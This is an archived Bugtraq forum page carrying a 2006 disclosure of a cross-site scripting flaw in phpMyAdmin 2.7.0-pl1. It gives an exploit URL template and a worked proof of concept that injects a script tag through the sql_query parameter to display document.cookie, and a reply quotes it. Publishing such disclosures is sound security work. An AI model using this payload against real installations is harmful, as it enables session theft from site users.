Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Vista
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
Back to list
|
Post reply
phpMyAdmin 2.7.0-pl1
Apr 12 2006 06:50PM
kr4ch web de
(1 replies)
App: phpMyAdmin 2.7.0-pl1
Advistory by: p0w3r
Exploit: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=[XSS]
Example: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(documen
t.cookie)%3C/script%3E'%60
[ reply ]
Re: phpMyAdmin 2.7.0-pl1
Apr 14 2006 12:17AM
Kevin Waterson (kevin oceania net)
Privacy Statement
Copyright 2008, SecurityFocus
Advistory by: p0w3r
Exploit: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=[XSS]
Example: /phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_gen
eral_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_proper
ties_structure.php&sql_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(documen
t.cookie)%3C/script%3E'%60
[ reply ]